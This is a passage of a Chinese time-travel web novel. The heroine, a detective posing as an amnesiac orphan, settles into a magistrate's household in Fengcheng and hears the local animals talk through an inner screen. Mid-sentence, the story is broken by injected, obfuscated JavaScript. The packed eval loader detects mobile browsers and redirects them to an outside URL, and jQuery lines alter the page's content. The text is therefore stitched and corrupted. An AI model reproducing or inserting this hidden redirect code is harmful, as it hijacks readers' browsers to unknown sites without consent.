这个问题,终于被摆到了明面上。
舱内几人的目光都集中在穆青青身上。
穆青青心知,自己之前的种种表现,早已超出“逃难孤女”的范畴。此刻再单纯以“失忆”搪塞,不仅牵强,也可能失去这难得的、初步建立的信任。
她抬起眼,目光平静地迎上崔县令的审视,心中迅速有了决断。
“回大人,”她声音清晰,带着一种刻意调整过的、介于迷茫与确信之间的语气。
“民女确实记不起籍贯亲眷,落水前许多事都模糊一片。但……有些东西,似乎并未完全忘却。比如,如何观察人的形貌举止、如何从杂乱痕迹中寻找线索、如何在危急时冷静思索对策……这些,仿佛刻在骨子里。落水被救醒后,这些……‘本能’便渐渐清晰起来。至于为何会这些,民女……实在想不起了。或许落水前,民女家中曾有变故……或许民女自身,有过不寻常的经历?”
她将刑警的职业素养,巧妙地包装成“遗失记忆背景下的残留本能”。这个说法,既解释了她的异常能力,又保留了“失忆”的挡箭牌,还留下了一丝引人探究的悬念,进退皆宜。
崔县令与宋师爷对视一眼,眼中都闪过思索。世间确有奇人,或家学渊源,或经历奇特,即便记忆受损,某些深入骨髓的技能或本能却可能保留。穆青青的说法虽离奇,但结合她展现的能力,却并非完全不可信。更何况,她如今孤身一人,又确实对他们有救命之恩、解困之德。
沉默片刻,崔县令缓缓道:“你于本官一家有恩。既身世未明,可愿暂且随我等前往丰城?待安顿下来,或可慢慢寻访你的来历。期间,你便以……本官故交之女的身份暂居后衙,一来全你救命之恩,二来,或许……你的这些‘本能’,于丰城之事,也能有所助益。”
他说到最后,语气微沉,显然想到了那未除的隐患“翻江蛟”以及危机四伏的丰城。
穆青青现在迫切需要的正是这样一个合理的身份及暂居之所。她立刻躬身行礼:“多谢大人、夫人收留。民女定当谨守本分。”
“起来吧。”崔夫人温声道,看着穆青青的眼神柔和而怜惜,“可怜的孩子,先好好将养身子。到了丰城,一切都会好起来的。”
事情暂时定了下来。穆青青终于在这个陌生的“大曜王朝”有了一个相对合理的身份和安身之处。
接下来几日,官船就在那隐蔽河湾休整,等待崔近寻来当地保甲和县衙派来的兵丁护送。崔县令的身体在精心调理下慢慢恢复。被擒的曹三、胡老大等人被严加看管。
期间,穆青青并未放松。她通过与小莲、刘婶等人闲聊,以及观察沿途景物、倾听“河湾夜话”中偶尔提及的当地风物,不断补充着对这个时代和丰城地区的认知。
她还趁机将整个船舱搜索了一遍,可惜,并没有看到任何曹三口中所谓的“货物”。
又联想到之前的“河湾夜话”中小动物们提到的落水麻袋和生锈的铁箱子,心中有了一些猜想。
只是如今他们一行人还未彻底脱险,崔大人也还未就任,丰城的情况更是不明朗,这些疑惑只能暂时搁置,待日后时机成熟了,她再提醒崔大人回来调查吧。
数日后,在一队二十余名县衙弓兵和十余名民壮的护卫下,官船再次起航,朝着最终目的地——丰城县码头,稳稳驶去。
当那座灰黑色城墙、密集樯橹和喧嚣人声逐渐清晰的城池终于映入眼帘时,穆青青站在船头,河风拂动她略显宽大的粗布衣裙。
丰城,到了。
晨雾像一层柔纱,慢悠悠地罩着丰城县衙的后院。
天刚蒙蒙亮,洒扫的仆役已经拿着竹帚,“沙沙”地清扫着青石板上的落叶。那声音很轻,很规律,听得人心里头安宁。
穆青青推开那扇老旧的木窗,湿润的河风立刻就涌了进来,带着一股子鲜活热闹的市井气息——隔壁刘婶熬粥的米香,巷口油条摊子“滋啦”的滚油声,更远处,码头那边隐约传来的号子,低沉而有力,一声声,仿佛能把晨雾撞开个口子。
她深深地吸了一口气,这丰城,就像个刚刚睡醒的巨人,浑身上下都透着股蓬勃的劲儿。
“姑娘醒啦?”小荷端着个黄铜盆子进来,圆圆的脸蛋上笑出两个浅浅的酒窝,“厨娘刘婶今儿个可大方,用了早上码头刚卸的活鲈鱼,片得薄薄的,熬了鱼片粥,鲜得嘞!说是给姑娘补补身子。”
小荷是崔夫人三日前从本地人市上挑来的小丫鬟,才十三岁,说话带着丰城一带特有的软糯口音,像糯米糕似的,黏黏甜甜。她手脚麻利,性子也活泼,崔夫人瞧着喜欢,就拨来伺候穆青青。
穆青青接过温热的帕子敷在脸上。热气蒸腾着,模糊了眼前的光景。她下意识地用另一只手,轻轻摩挲着自己左手手腕的内侧。那里,有一圈极淡极淡的白色痕迹,不仔细看根本瞧不出来,像是曾经长期戴着什么极细的链子或绳环留下的。自从在临河湾醒来,这痕迹就在了,可任她怎么想,脑子里关于这痕迹的来由,都是一片空白,空落落的,让人心头发慌。
“姑娘,您手腕上这是……”小荷眼尖,凑近了看。
“没什么,”穆青青放下手,用帕子仔细擦着脸,岔开了话头,“许是以前戴过什么小玩意儿留下的印子。夫人今早可有什么吩咐?”
“夫人说了,姑娘初来乍到,不必急着去请安,先在咱们这院子里熟悉熟悉,把这儿当自己家就成。”
小荷一边说着,一边手脚利落地帮穆青青梳头。她心灵手巧,不一会儿就梳了个清爽的双平髻,又从那妆匣里挑了支素银的簪子簪上,衬得穆青青那张尚显稚嫩的脸,多了几分这个年纪少女该有的秀气。
“对了,”小荷压低了些声音,带着点分享秘密的雀跃,“夫人还特意交代了,咱们后衙西边墙根那儿,有个不起眼的小角门,平日里买菜、寄信,或是咱们自己人想出去透透气,都从那儿走。钥匙就在门房陈伯那儿。夫人说,姑娘若是闷了,随时可以出去逛逛,只一样,记着申时前回来,别走远了就成。”
穆青青心中微暖。崔夫人待她,确实是真心实意的周到。她如今顶着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011105|194137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“崔县令故交之女”的名头,虽是寄居,却并非囚徒,能有这般自由,已是难得。
梳洗妥当,她换上了一身崔夫人昨日让裁缝赶制的新衣。藕荷色的交领襦裙,料子是普通的细棉布,但剪裁合身,外面罩一件淡青色的比甲,颜色素净,正适合她现在的身份。走到那面有些模糊的铜镜前,镜中的少女身量纤细,约莫十五六岁的年纪,眉眼间已有了清秀的轮廓,只是脸色仍有些苍白,是长期食不果腹留下的痕迹。
唯独那双眼睛,沉静,清亮,看人看事时,总带着一种超越年龄的洞察与冷静,与这张尚且稚嫩的脸庞,有些微妙的不协调。
她对着镜子,轻轻抚平了衣襟上几乎看不见的褶皱,这才推门走了出去。
县衙的后衙是个规整的两进院子。前院是崔县令处理日常公务、会见僚属的地方,带着官署的肃穆;后院则是内眷起居之所,要温馨闲适得多。
穆青青的厢房安排在西侧,紧挨着小厨房和一个袖珍的花园。园子不大,但收拾得齐整,沿着墙根种了些常见的月季、凤仙,正是开花的时节,红红粉粉的,热闹得很。角落里一株老槐树,怕是有些年头了,枝干虬结,亭亭如盖,投下一大片清凉的绿荫。树下随意摆着石桌石凳,石面被岁月摩挲得光滑温润。
穆青青站在檐下,静静地打量着这个暂时属于她的新天地。晨光透过槐树的枝叶,在地上投下斑驳摇晃的光影,空气里浮动着花草清冽的香气,混合着厨房飘来的、若有若无的食物暖香,让她那颗自穿越以来就一直紧绷着的心,终于得以稍稍松弛。
就在这时,她脑海中那个许久未有动静的光幕,忽然毫无征兆地浮现出来,一行行文字跳跃着:
【丰城县衙(当前在线:6)】
瓦片:【喵呜——先让本喵伸个大大的懒腰——西墙根底下,从南往北数第三块砖,被日头晒得最暖和!那是本喵的宝座!谁也别想抢!】
绒球:【啾啾!厨房窗台!今天又掉米粒了!三粒!黄澄澄的!今天我一定要抢到!昨天让灰灰那家伙偷吃了一粒,气死我啦!】
灰灰:【吱吱!粮仓东墙那个老缝里的花生米,昨晚居然没被隔壁洞的臭小子偷走!万幸万幸!今晚可以加餐啦!】
大黑:【汪!赵捕头晨巡回来啦!手里拿着两个肉包子,油纸包着,香!好香啊!不知道今天能不能蹭到一口……】
橘点点:【喵呜?那个新来的两脚兽,站在那儿看什么呢?手里……手里有没有鱼啊?】
穆青青抬眼,循着光幕里“橘点点”的线索望去,果然看见西墙头上,蹲着一只圆滚滚的橘猫。它毛色鲜亮,一双圆溜溜的琥珀色眼睛,正好奇地、直勾勾地盯着自己,尾巴尖还一甩一甩的。
她忍不住嘴角弯了弯。
县衙里的这些小家伙的聊天内容实在是太可爱了。在这个全然陌生的时代,这仿佛成了她与这世界之间,一条奇异而温暖的纽带。
“喵呜?”墙头的橘猫见她只是看着,没有动作,歪了歪脑袋,又叫了一声,带着点疑惑和催促。